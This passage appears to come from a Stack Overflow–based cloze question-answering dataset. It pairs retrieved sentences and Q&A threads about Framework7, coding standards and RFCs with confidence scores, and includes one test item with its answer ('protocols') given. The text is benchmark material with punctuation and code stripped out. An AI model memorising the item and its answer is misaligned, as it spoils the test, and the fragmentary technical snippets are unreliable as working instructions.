multi-color infinite progress-bar functionality .", "In framework7 if you want to detect scrolling on page content you need to add scroll event on that particular div .", "Hello Framework7 team .. . .. . How do we modify renew the events after initializing for example on a month change onMonthYearChangeStart", "I am starting to use Framework7 and I have successfully ran the kitchen sink on localhost : 3000 .", "Trying out http : framework7.io I d like to have a link the just pops out of the whole app .", "You don t have to rely on framework7 to do that .", "Framework7 comes with template7 as far as I know .", "I am using Framework7 inside of React for our view layer .", "I was using the Framework7 custom build-process and was not including the fast-clicks module .", "I want to change the body color dynamically using framework7 .", "yes you are right but i want to done this thing with the help of framework7 not with jquery .", "Check link http : www.idangero.us framework7 docs dom.html .VjCl8PlVhHw for more details", "and why Framework7 creats so mutch new HTML-Tags", "I have recently build an app using framework7 and cordova .", "i am trying to add google autocomplete for location suggesion in my framework7 based mobile application.I gave search text box within google location suggestion is not working.After removing the class page cached it was working.i got location suggesion by using google autocomplete.why this happen How to give google location suggesion in framework7", "There is my meteor list : .. . .. . I also use Framework7 in client-side .", "But the events are not being overriden and event handlers defined by default in Framework7 are getting fired .", "Use the structure framework7 provide and build the grid inside each slide by yourself .", "From the demo : .. . .. . SOLVED .. . .. . From the docs at http : framework7.io docs pages-ajax.html adding class external skips the default ajax-routing .", "Other frameworks will give you nearly same UI for both.I have used Framework7 for both android and iOS .", "framework7 is just a UI framework anything that happen behind the screen can be done with a javascript phonegap plugin .", "Is there any possibility to export the content of an array to an .csv or .txt file by using Framework7", "You can even use requirejs and handlebar template7 with framework7 .", ": Even I m slightly more interested in using Framework7 with the phonegap .", "When using the prompt modal http : framework7.io docs modal.html prompt is it possible to turn off autocomplete on the input field", "In your latest fiddle i don t see main-view wrapper in html.One view is required for framework7", "I need a JS Lightbox modal style image viewer with pinch to zoom gesture which should work with Framework7 single-page web application style .", "Was trying to combine two examples provided namely the split view degrading to panel : framework7.io examples split-view-panel http : framework7.io examples split-view-panel with the tab bar layout framework7.io examples tab-bar http : framework7.io examples split-view-panel so that iPads and the like would get a split panel view and iPhones get the tab bar .", "One think is wondering me too Framework7 creates per click changing the page new HTML-Tags .", "I have read the router api on framework7 website but it is really confusing and does not seem to work .", "This is not an issue with framework7 Actually webkit fast-click is not supported.I faced the same issue and resolved the problem by adding a simple class to select element class no-fastclick It will work properly .", "I had never heard of Framework7 before this but after taking a look at the docs I don t believe you are going to be able to use Javascript this way .", "I am using Framework7 for the first time in a Cordova iOS application and I really like the look of the UI but I have run into an issue where the page will not scroll vertically that I can not figure out .", "For some pages like a homepage Bootstrap is nice but for other pages I prefer the components of Framework7 .", "Hello I m new to the Framework7 and I m trying to use data-binding with AngularJS but I can t seem to get it work .", "I have googled my problem but didnt find anything to use CSV in Framework7 .", "Framework7 does not support parsing of .csv files it does however support parsing JSON .", "I am working with Framework7 and I m trying to enable Autocomplete on the index page for the searchbar input field .", "I am trying to implement a form which uses .animate method for smooth scroll animation in framework7 .", "All control events are handled as element .on click function e .. . .. . I m however unable to implement this functionality in Framework7 .", "I m experimenting with Framework7 with this fun chat app I m trying to make using PhoneGap previews .", "Looking at your code I cannot directly tell you what is going on but I CAN tell you that Bootstrap and Framework7 can be combined .", "I am building a framework7 app and since lots of editing has been done to one page the AJAX loaded in pages have stopped working .", "If I were you I d rather use Framework7 s view engine to render the swipeout items and take advantage of the @index helper .", "If you just want to navigate to back pages Use pushState : true in app initialization You will be able to go back using hardware back button in framework7 .", "Try this .. . .. . and set this plugin while initialization of framework7 app .. . .. . For more details you can refer below github repo with fully working demos https : github.com ashvin777 framework7.angular .. . .. . Make sure that you are initialization your angular application before doing any bindings .", "I had a login-screen as described here http : www.idangero.us framework7 docs login-screen.html .VnlDzpN94U4 .", "H I am using Framework7 version 1.4.2 Swipe on left panel is not working for me I am using material-theme in Nexus 5 running Android Marshmallow .", "I am working on a app made with Framework7 and it s templating uses the same double brackets and I can t escape it to use on Vuejs", "The thing is I ve never used Framework7 before and I m having a tough time linking pages together under my main page .", "I updated your html here Updated html code https : jsfiddle.net mahensharma01 bub4svxz .. . .. . when a view is initialized in framework7 It initializes links and other components inside it .", "that i am using local server on PC and not on mobile", "The downside we experienced was that the app was probably running at 75 the speed of native apps .", "I am trying to access Framework 7 http : framework7.io webpage using android WebView application but it show blank page while when i put any another url like google.com it s work fine any advice please .", "I want to make a scrollbar to my mobile project i am using angular js and framework 7 .", "When i remove fastclick by adding var myApp new Framework7 fastclick : false But this affected my app very badly become more slower .", "Add your color to framework7.material.colors.css : .. . .. . Similary you can add color to different tags Then in HTML add the above class to the tag you want that css to be applied .", "I am trying to integrate cordova google map in Framework7 html but its not display any map there although I have write similar code for normal html page and its working there .", "Remember that with Cordova you have a hybrid app which means that it provides a browser to render the web app behind the scene .", "i have an animated framework7 tab with 3 items i want to hide the navbar when each of the tab item is scrolled i only had luck hiding the navbar after scrolling the first tab item .", "I am putting background on login form but in mobile when open keyboard for writing then background-image is resized .", "Actually i am also facing the same problem So when framework7 calendar initialize it creates DOM for 3 months Previous current and next and then adds events.You can directly change the object of calendar.but it will reflect when html change when you go next by 2 months it changes html for current.If you find solution please post here also Thank You", "You may set cache : false as in .. . .. . or if it s fitter for your application you may set its duration to zero setting cacheDuration : 0 as in .. . .. . You can refer to http : framework7.io docs init-app.html for more detailed specs ." ] }
{ "confidence": [ 78.33313751220703, 59.492584228515625, 57.17702102661133, 55.45207977294922, 53.32920837402344, 52.78931427001953, 51.870704650878906, 50.954429626464844, 50.89486312866211, 50.428550720214844, 49.88356018066406, 49.87834167480469, 49.672916412353516, 49.27891540527344, 49.12523651123047, 48.04939651489258, 48.04939651489258, 48.022735595703125, 47.61918640136719, 47.517913818359375 ], "content": [ "Question : Before posting my question here I have looked across many posts but nothing relevant found . I m developing an application for both Iphone and Andriod using Phonegap . I came across with several UI related frameworks : .. . .. . 1.Framework 7 2.Ionic 3.Twitter Bootstrap 4.jQuery Mobile 5.Materializecss 6.jQuery UI 7.Sencha Touch .. . .. . What is the recommended way of doing this Meaning-designing a generic UI tabbars tables navigation bars etc for both Iphone Android that will give the generic look-and-feel native I need to include Push notification Camera access local-storage and RSS Feed as a functionality in my application . Any leads will be appreciated and will be thankful to the core . Comment : push-notification camera access local-storage and rss feed all this i have done in ionic-framework but i dont know about other frame work .. . Answer : As you are saying that you want to develop an application for both android and iOS . Other frameworks will give you nearly same UI for both.I have used Framework7 for both android and iOS . Check this link framework7 android and ios http : framework7.io tutorials maintain-both-ios-and-material-themes-in-single-app.html . Framework7 provides best UI for ios and for android it also gives material UI . You can even use requirejs and handlebar template7 with framework7 . hope it helps . Comment : Thanks Mahen : Even I m slightly more interested in using Framework7 with the phonegap . As I have done a small prototype on it . However I m unaware of requirejs and handlebar . Framework7 comes with template7 as far as I know . Can you give some more clarity on this requirejs and handlebar Why to use it and advantages of it Comment : @jaiswalabhinav17 In simple words RequireJS is a module loader Instead of loading all JS files at same time in html with script-tag RequireJS loads JS files Modules as desired . why to use RequireJS https : gist.github.com desandro 4686136 .Handlebar is a small template lib similar to template7 . check this link how to use requireJS and HandleBar with F7 http : framework7.io tutorials mobile-mvc-apps-with-framework7-requirejs-and-handlerbars.html . Comment : Thanks @Mahen :", "Question : Thanks for reading i am new in cordova developing i am use framework7 to develop hybrid app using cordova . I am putting background on login form but in mobile when open keyboard for writing then background-image is resized . I want fix position of image which is not resized when open android keyboard . Please see image below .. . .. . enter image description here http : i.stack.imgur.com LbD7t.jpg .. . .. . thanks .. . Answer : Try these configuration .. . .. . 1 . Index.html .. . .. . meta name viewport content initial-scale 1 maximum-scale 1 user-scalable no width device-width height device-height .. . .. . 2 . config.xml .. . .. . preference name android-windowSoftInputMode value adjustPan preference name fullscreen value false Comment : thanks for writing but issue is not solved yet .", "Question : I am trying to build a mobile-application with Cordova and I have chosen the framework named framework7 . In the application I have HTML page have textboxes time when the user clicks on the textbox clock picker will be display clockpicker jquery plugin Now the main issue is that the framework7 doesn t allow the jquery-plugins to work with it can anyone help me .. . Answer : You must run it on initpage on each js function", "Question : I m writing a single-page web application but I m struggling with some frameworks . It seems almost every modern framework like Bootstrap http : getbootstrap.com or Framework7 http : framework7.io uses very basic classnames like row or navbar . Because of this I can t use both frameworks on a webpage at the same time which is limiting my options . For some pages like a homepage Bootstrap is nice but for other pages I prefer the components of Framework7 . Is there any way to solve this problem other than using entirely different HTML-files Comment : I think most people would discourage the use of multiple css-frameworks on one page . They re pretty heavy and would require a substantial amount of work to get them to play nicely together . I would recommend using one framework customized to your liking to standardize the look-and-feel of your entire site . .. . Answer : The following options can be used to namespace CSS : .. . .. . iframe per framework .. . .. . Create a SASS file which namespaces each framework using the cascade by prefixing each framework rule with a selector which maps to a parent element with the specified class name . References .. . .. . How to namespace Twitter Bootstrap so styles don t conflict http : stackoverflow.com questions 13966259 1113772", "Question : i am trying to add google autocomplete for location suggesion in my framework7 based mobile application.I gave search text box within google location suggestion is not working.After removing the class page cached it was working.i got location suggesion by using google autocomplete.why this happen How to give google location suggesion in framework7 .. . Answer : I found solution . This is becuase of conflict with fast click . The solution is to remove fast click .. . .. . way 1 : Remove entire fastclick from app var myApp new Framework7 material : true materialPageLoadDelay : 250 materialRipple : true fastclick : false way 2 : remove fastclick only for goole suggestion area document .on DOMNodeInserted : function .pac-item .pac-item span this .addClass no-fastclick .pac-container I prefer the second one sice fastclick is removed from only suggestion area .", "Question : I want to write a script that allows only one item to be open at any given time forcing the other to be closed . How can I do that This is my starting point : Comment : What you want to do actually Can you explain.. . Comment : I m use Angularjs ng-repeat link http : paste.ofcode.org fpwNsBV7ZzxZYeNHU5MKvP .. . Answer : In Framework7 accordion list always have just one open and the other close . Accordion Docs http : framework7.io docs accordion.html", "Question : I am trying to build a mobile-application with Cordova and I have chosen the framework named framework7 . In the application I have HTML page have textboxes time when the user clicks on the textbox clock picker will be display clockpicker jquery plugin Now the main issue is that the framework7 doesn t allow the jquery-plugins to work with it can anyone help me .. . Answer : ofcourse jquery works with cordova i used jquery for all my app that i wrote with cordova .dowload jquery and add your project.and u should be careful where u write u need to write it before framework7.js because it uses it .. . .. . this is my general usage i added jquery.js that i downloaded to lib folder Comment : jquery is working now but the plugin did not work I wondered why any plugin jquery did not work with FW7 Comment : which plugin are u using Comment : clockpicker weareoutman.github.io clockpicker https : weareoutman.github.io clockpicker Comment : share your sort of scripts in html Comment : input type text class clockpicker .clockpicker .clockpicker placement : top align : left donetext : Done autoclose : false default : 10 : 00 twelvehour : true script", "Question : Hope you have superb spirit today . I am newbie with Framework7 http : www.idangero.us framework7 . I am creating an application for CSV Reader as i have created same application in Android Native . I have googled my problem but didnt find anything to use CSV in Framework7 . Is there any link or help Your help would be appreciated . Comment : What is the problem exactly Please explain more about the issue for us to be able to help you.. . Comment : Actually I want to make an application using Fragmework 7 My concept is for sharing quotes which is in Excel or CSV file . How can i parse this file in Framework 7 . .. . Answer : Framework7 does not support parsing of .csv files it does however support parsing JSON . Your options : .. . .. . 1 . Make your own parsing functionality to convert the csv to arrays . Using for example Javascript .split .. . 2 . Find some code on-line which converts csv to for example JSON convert csv file to json object datatable http : stackoverflow.com questions 3603242 convert-csv-file-to-json-object-datatable .. . 3 . Convert the csv to JSON on the serverside for example with PHP", "Question : I m using framework7 http : framework7.io for mobile app with crosswalk-project https : crosswalk-project.org .I want to add google-play store my APK so how i can do that What I need to do to sign this APK thanks . Comment : Possible duplicate of how to sign an already compiled APK http : stackoverflow.com questions 10930331 how-to-sign-an-already-compiled-apk .. . Answer : You need to sign the APK so I suggest you to read this in order to understand the process and make it easier : http : developer.android.com tools publishing app-signing.html .. . .. . Maybe Signing Your App Manually paragraph is the best shot for you .", "Question : Is there any possibility to export the content of an array to an .csv or .txt file by using Framework7 The app will be used on the iPhone as a web app in Safari so how can I save the exported file then Can I directly save the file into my Google Drive or iCloud Thank you Markus .. . Answer : You don t have to rely on framework7 to do that . framework7 is just a UI framework anything that happen behind the screen can be done with a javascript phonegap plugin . Check out this plugin https : github.com apache cordova-plugin-file", "Question : null .. . Answer : I want to use Framework7 for HTML Web page . .. . .. . .. . .. . index.html .. . .. . .. . .. . about.html .. . .. . Do not work.There is no reaction .. . .. . .. . .. . about.html .. . .. . Do not work.There is no reaction .. . .. . .. . .. . about.html .. . .. . Do not work.There is no reaction", "Question : I ve developed several multipage applications using jQuery Mobile JQM and am planning to use Framework7 . In JQM I create several HTML pages along with their respective JS files .. . .. . All js files are linked in their respective html pages .. . .. . When a page is opened using .mobile.changepage page events pageinit pageshow etc in the respective js get triggered . All control events are handled as element .on click function e .. . .. . I m however unable to implement this functionality in Framework7 . Need guidance on this . I tried adding JS to HTML files but it did not get added . .. . Answer : First thing to notice Framework7 needs initialization before running any script.So you need to add framework7 js first in html page.And for framework7 application the approach for pages is little different than jQM . There are two types of pages you can create in F7 . 1 you can create all pages inside single html file . 2 multiple html pages . F7 has specific View definitions which are important while creating a html page.So main View is required in F7.And after initialization of f7 you need to initialize main-view as well . To navigate between pages you need to use router api.For ie : .. . .. . Mainview is object of View which needs to init after F7 init . Download the F7 master from Git and check the example folder.It will give you good idea about all the view and pages . Hope this helps", "Question : I want to change the body color dynamically using framework7 . I tried including framework7.css and framework7.js files but it doesn t work . Comment : What have you tried so far What do you mean by it doesn t work Are you getting an error Comment : i have a color-themes page in which there are three div containing different background-color i want when we click on a div then the color of body is changed according to the div . i want this happen with the help of framework7 but no success . .. . Answer : If you want to create your custom color for background or text . Add your color to framework7.material.colors.css : .. . .. . Similary you can add color to different tags Then in HTML add the above class to the tag you want that css to be applied . Framework7 already provide with some theme colors you can also add to these themes : http : framework7.io docs color-themes.html", "Question : null .. . Answer : Trying out http : framework7.io I d like to have a link the just pops out of the whole app . By default it seems as all a-href are rerouted to ajax-requests . Is there an attribute I should use or how From the demo : .. . .. . SOLVED .. . .. . From the docs at http : framework7.io docs pages-ajax.html adding class external skips the default ajax-routing .", "Question : I want to change the body color dynamically using framework7 . I tried including framework7.css and framework7.js files but it doesn t work . Comment : What have you tried so far What do you mean by it doesn t work Are you getting an error Comment : i have a color-themes page in which there are three div containing different background-color i want when we click on a div then the color of body is changed according to the div . i want this happen with the help of framework7 but no success . .. . Answer : CSS .. . .. . In your css you should define the classes for the background colors . For example yellow-background red-background and bluebackground . JS .. . .. . Then in your javascript the class should be added or removed based on the click of the button . Something like this : Comment : yes you are right but i want to done this thing with the help of framework7 not with jquery . Comment : This IS Framework7 . It works very similar to jquery . jquery uses a single and Framework7 uses double . Check link http : www.idangero.us framework7 docs dom.html .VjCl8PlVhHw for more details", "Question : Anyone else has this problem that select doesn t work good in framework7 After building apk file select sometimes needs to be changed twice to take effect . What can cause it I removed all external files and it s sill not working as it should . Code is simple as that for select . It s in jquery . .. . Answer : This is not an issue with framework7 Actually webkit fast-click is not supported.I faced the same issue and resolved the problem by adding a simple class to select element class no-fastclick It will work properly . Another way is to add fastclick : false in app init .", "Question : null .. . Answer : Hello Framework7 team .. . .. . How do we modify renew the events after initializing for example on a month change onMonthYearChangeStart Kind regards Mario Comment : Actually i am also facing the same problem So when framework7 calendar initialize it creates DOM for 3 months Previous current and next and then adds events.You can directly change the object of calendar.but it will reflect when html change when you go next by 2 months it changes html for current.If you find solution please post here also Thank You", "Question : null .. . Answer : Framework7 Version : 1.4.2 . Platform and Target : Windows Cordova . Im trying to redirect my main view to a page . Im using this line of code : .. . .. . I also have tried to use this version : .. . .. . I just want redirect my user to another page via JavaScript . The problem is that my application crashes and close . Everything works on Android but on Windows a have this issue . Does someone know how can I solve that Thank you Comment : Have you tried running the web app on a windows browser like Edge or the latest IE already Remember that with Cordova you have a hybrid app which means that it provides a browser to render the web app behind the scene .", "Question : I create an application with framework7 http : framework7.io . Now I try to execute a javascript in my page-content but it doesn t execute . How can I run this javascript code UPDATE .. . .. . The page is loaded from an other HTML-Page . .. . Answer : I had never heard of Framework7 before this but after taking a look at the docs I don t believe you are going to be able to use Javascript this way . It would appear that for JS events you have to scope the event inside a Framework7 constructor : .. . .. . Of course the above example is taken directly from the F7 documentation and is dependent on a click event but you may be able to try out the alert event as a method of myApp and see if that works for you .", "Question : I have recently build an app using framework7 and cordova . My app consists of a single html file which has all the views in it . To navigate between the views a back button is present at the top on each child view . If a person presses the back button on the device the app will be closed . How can i use the back button to get to the main page when im in the child pages . I have read the router api on framework7 website but it is really confusing and does not seem to work . Here is what im trying : .. . .. . Please note that i want to use the physical button found on the device to navigate to the main view when im in another div . Please help . .. . Answer : If you just want to navigate to back pages Use pushState : true in app initialization You will be able to go back using hardware back button in framework7 . If you want to open a specific page mainView.router.load is a function in framework7 . You can put a validation on router to check if page is your mainView page.By doing that you can control exiting app.when back page loads it calls the router and router gives you details about page ie : page.name page.query . Hope this helps" ] }
[ "yes-answer-long", "yes-answer-short" ]
html
UNK_RELATION
standards@protocols@91
standards -- standards are officially published or well agreed upon formats procedures or @placeholder .
{ "confidence": [ 40.29050827026367, 37.771942138671875, 36.550018310546875, 34.659122467041016, 32.456844329833984, 32.34754180908203, 31.702713012695312, 31.61357879638672, 30.95138168334961, 30.773334503173828, 30.476818084716797, 30.316810607910156, 30.025493621826172, 29.86730194091797, 29.86730194091797, 29.814620971679688, 29.814620971679688, 29.722686767578125, 28.908588409423828, 28.908588409423828, 28.908588409423828, 28.908588409423828, 28.908588409423828, 28.870763778686523, 28.818838119506836, 28.732852935791016, 28.692718505859375, 28.692718505859375, 28.603023529052734, 28.603023529052734, 28.156641006469727, 28.156641006469727, 28.154455184936523, 28.154455184936523, 28.154455184936523, 28.154455184936523, 27.734004974365234, 27.734004974365234, 27.707334518432617, 27.31014060974121, 27.250606536865234, 27.250606536865234, 27.250606536865234, 27.250606536865234, 27.250606536865234, 27.250606536865234, 27.250606536865234, 27.034622192382812, 27.034622192382812, 27.034622192382812, 26.97987174987793, 26.97987174987793, 26.97987174987793, 26.945043563842773, 26.28049087524414, 26.28049087524414, 26.28049087524414, 26.244279861450195, 26.244279861450195, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15652847290039, 26.15520668029785, 26.12142562866211, 26.07602310180664, 26.07602310180664, 26.064716339111328, 25.890472412109375, 25.884788513183594, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.40239715576172, 25.37664222717285, 25.37664222717285, 25.37664222717285 ], "content": [ "I have my standards but as far as I know there are no agreed upon standards for writing SQL queries .", "I thought there were standards published", "New standards are proposed and published on the Internet as a Request For Comments .", "Look for the British Standards Institute versions published by Wiley .", "Standards .", "pshh standards .", "STANDARDS", "They are used as the standards .", "You tagged this c++ but two of the three standards you listed are not C++ standards .", "See en.wikipedia.org wiki Regular expression Standards http : en.wikipedia.org wiki Regular expression Standards", "Semantics are not standards .", "When I said the standards in the last sentence I meant the C++ standards not international standards in general .", "Standards are Normalised .. . .. . Another important aspect of Standards is that there is no repetition .", "Are there any standards eg .", "We had no standards .", "It may meet the validation standards but it does not meet the semantic standards .", "One more link lab.abhinayrathore.com jquery-standards http : lab.abhinayrathore.com jquery-standards", "These are my standards .", "Both behaviours are standards conforming .", "C coding standards document .", "Coding standards are great .", "It is also standards compliant .", "Standards are written by people not gods :", "Such standards may require specific behaviours .", "Standards are Normalised. .", "Does x comply with sql standards better", "Generally for lower-level standards e.g .", "And if so is it true for all regex standards", "Does DOCTYPE html trigger standards mode for older browsers as well", "there are actually industry standards for widths well according to yahoo at least .", "Standards are Not Single-Vendor .. . .. . By definition Standards are arrived at by multiple vendors at the international level .", "MS is famous for publishing anti-standards and calling them standards .", "It doesn t violate HTML5 standards .", "+1 for caring about standards", "As for the standards there are hardly any .", "Consistent naming standards .", "if not then what general standards for mobile development are there", "Is this a case of real-life vs the standards", "Adhering to standards will make your site more visible to non-human users so if search-engine visibility is of concern to you web-standards should be as well .", "in front of script executables officially standardized in the Linux Standard Base or in any of The Open Group standards or elsewhere", "Are there any normalized standards", "If not which standards clauses guarantee this", "A badly-worded standards document", "Likewise Standards do not compete .", "div in JavaScript in Standards Mode", "In older standards it was simply undefined .", "using existing standards .", "If you are purposefully using a tool that specifically adds something not in the validation standards obviously that does not break your personal standards agreement .", "possible duplicate of Strict Standards : Declaration of should be compatible with http : stackoverflow.com questions 17234259 strict-standards-declaration-of-should-be-compatible-with", "Yeah they re similar to my personal coding standards but different to my workplace coding standards .", "Bluemix is not claiming support for HIPAA standards .", "Lot s of compilers embrace and extend standards .", "INCITS .. . .. . Technically the two standards are identical .", "Maybe a well known didactic repository that strives to conform with standards", "They re also much easier to read than the ECMA-262 document which even by the standards of standards documents is an absolute horror .", "Thus standards for C89 C90 C99 C++98 C++03 will be hard to find for purchase from a standards body .", "Print versions of the standard .. . .. . Print copies of the standards are available from national standards bodies and ISO http : www.iso.ch but are very expensive .", "It is important to understand that HTML5 builds upon existing standards and it is made to support existing content .", "Rant rant huff huf .. . .. . The only reason we are using this is some standards committee insisted upon it .", "With respect to the metadata : there are several standards used in the industry .", "I think its OK from a standards perspective .", "Wish there was as without standards you get Microsoft.. .", "You don t have to pay for all of the standards .", "+1 thanks Gordon - in terms of the Standards is there an approach given", "One of the key reasons for coding standards is for consistency .", "Ironically setting the actual standards are likely to be the easy part .", "Other people have addressed the standards part .", "The Canadian government has standards that list this as one of the requirements .", "but they ve fixed that bug in standards mode now .", "Compared to some of the previous standards it s a dream .", "www.upu.int has the format standards for international addresses .", "Publication 28 at usps.com has the U.S . format standards .", "ANSI and other national standards bodies are members of this committee .", "of Standards is that they are integrated : .. . .. . IDEF stands for I ntegrated Def inition .. . 0 is for Function Modelling .. . 1 is for Information Modelling .. . X is for Relational Database Modelling .. . they are all Standards published by NIST .. . .", "OASIS https : www.oasis-open.org Organization for the Advancement of Structured Information Standards : Seems to be more about business abstractions on top of IETF W3C standards .", "aren t nice standards compliant code .", "Without actually investigating the SQL standards .", "They are pretty much reserved for well researched network standards that have been approved by the IETF .", "Pshh in this context is apparently an onomatopoeia used to express disgust with a particular standards body .", "The problem with some standards as well as many laws are that they re open to interpretation.. .", "But is this an acceptable practice from web-standards or accessibility perspective", "I have some problems with the overview of the NFC standards .", "And the code needs to conform to DO178b Level A standards", "It also provides additional features that are not included in the Ecma Standards .", "Therefore how important is it really to follow web-standards", "Pragmatically web-standards do not take priority .", "Would they have needed to do that if the developers respected standards", ".. . how important is it really to follow web-standards", "@whytheq - There are no international standards for formatting only syntax .", "But it is not safer from a c++ standards point of view is it", "The ISO C and C++ standards are bloody expensive .", "The actual standards documents may not be the most useful .", "This plugin comes with some standards to check but no with PSR-2 .", "NORMALIZATION is one of the best standards you can adopt .", "Are there any code-standards style guide checkers for JavaScript", "Note that IETF RFCs and standards generally always", "7000 0x1B58 - Webpages containing standards-based DOCTYPE directives are displayed in IE7 Standards mode .", "Standards re Relational Databases .. . .. . Standards or precise definitions or specific guidelines for the following have existed for over 30 years .", "In Standards Mode I m unable to change the element s size this way .. . .. . Is it possible to manipulate the size of an element in Standards Mode" ] }
{ "confidence": [ 33.931148529052734, 33.50639724731445, 33.300682067871094, 32.710205078125, 32.53553771972656, 32.53553771972656, 32.42230987548828, 31.709796905517578, 31.284561157226562, 30.726150512695312, 30.494123458862305, 30.482364654541016, 30.482364654541016, 30.482364654541016, 30.482364654541016, 30.482364654541016, 30.47152328491211, 29.962413787841797, 29.93259048461914, 29.89087677001953 ], "content": [ "Question : I think there are a lot of people out there unaware of RFC s Request for Comments . I know what they are at a logical level but can anybody give a good description for a new developer Also sharing some resources on how to use and read them would be nice . .. . Answer : The term comes from the days of ARPANET the predecessor to the internet where the researchers would basically just throw ideas out there to well make a request for comments from the other researchers on the project . They could be about pretty much anything and were not very formal at the time . If you go read them it s pretty comical how informal they were . Now there are more standards about what goes in RFC s and you can t get an RFC published until you have met strict guidelines and have done extensive research . They are pretty much reserved for well researched network standards that have been approved by the IETF .", "Question : Is the Shebang https : en.wikipedia.org wiki Shebang 28Unix 29 e.g . in front of script executables officially standardized in the Linux Standard Base or in any of The Open Group standards or elsewhere If yes please provide references and details . NOTE : I m most interested in its meaning for shell scripts as well as for any executable file . In other words do any of the standards require shebang-like interpretation of at the beginning of executable files However any other references to it in the standards are also welcome . .. . Answer : POSIX http : pubs.opengroup.org onlinepubs 9699919799 utilities V3 chap02.html leaves the effect of unspecified . From 2.1 Shell Introduction .. . .. . The shell reads its input from a file see sh from the -c option or from the system and popen functions defined in the System Interfaces volume of POSIX.1-2008 . If the first line of a file of shell commands starts with the characters the results are unspecified .", "Question : I think there are a lot of people out there unaware of RFC s Request for Comments . I know what they are at a logical level but can anybody give a good description for a new developer Also sharing some resources on how to use and read them would be nice . .. . Answer : From http : linux.about.com cs linux101 g rfclparrequestf.htm .. . .. . The name of the result and the process for creating a standard on the Internet . New standards are proposed and published on the Internet as a Request For Comments . The proposal is reviewed by the Internet Engineering Task Force http : www.ietf.org a consensus-building body that facilitates discussion and eventually a new standard is established but the reference number name for the standard retains the acronym RFC e.g . the official standard for e-mail message formats is RFC 822 . See also : RFC Wikipedia Article http : en.wikipedia.org wiki Request for Comments", "Question : What are the latest HTML and CSS specifications officially recommended by the W3C for web development Is it XHTML 1.1 and CSS 3 Comment : See also When can I use http : caniuse.com . .. . Answer : W3C doesn t do any recommendations for what to use for web development . They specify standards and recommend browser authors to follow them . Which standards you choose to use for web development depends on your audience and what their browsers can be expected to support and also how important it is that all visitors can use all functions on the site . So there is no single set of standards that can be recommended for all kinds of web development .", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : SSW Rules http : www.ssw.com.au ssw standards .. . .. . It includes some C standards + a whole lot more... . primarily focused at Microsoft developers", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : You can check out this Top 7 Coding Standards Guideline Documents For C .NET Developers http : www.amazedsaint.com 2010 11 top-6-coding-standards-guideline.html hope this helps", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : As I wrote both the one published for Philips Medical Systems and the one on http : csharpguidelines.codeplex.com I might be a bit biased but I have more than 10 years on writing maintaing and the promotion of coding standards . I ve tried to write the one CodePlex with differences in opinions in mind and spent the majority of the introduction on how to deal with that in your particular organisation . Read it and provide me with feedback.... . Comment : I REALLY like this guide and think it follows a fantastic format quick version and full version like a lot of folks I ve seen use . You get my vote against all others nice job . I highly recommend using this document on Codeplex as a start as it is a really good guide to compare notes or follow closely . Comment : I saw that . I really mean it keep up the good work and I recommend this guide at least as a starting point for serious .NET devs . Comment : +1 for the great piece of work wish I could +100 . It s brief so people will actually read it - so it wins Microsoft and IDesign standards . It s got meaningful rule names a cheat sheet a style files for VS R .. . maybe missing more extensive examples in a cheatsheet :", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : IDesign http : www.idesign.net has a C coding standards document that is commonly used . Also see the Framework Design Guidelines 2nd Ed http : rads.stackoverflow.com amzn click 0321545613 .", "Question : Is the Shebang https : en.wikipedia.org wiki Shebang 28Unix 29 e.g . in front of script executables officially standardized in the Linux Standard Base or in any of The Open Group standards or elsewhere If yes please provide references and details . NOTE : I m most interested in its meaning for shell scripts as well as for any executable file . In other words do any of the standards require shebang-like interpretation of at the beginning of executable files However any other references to it in the standards are also welcome . .. . Answer : From 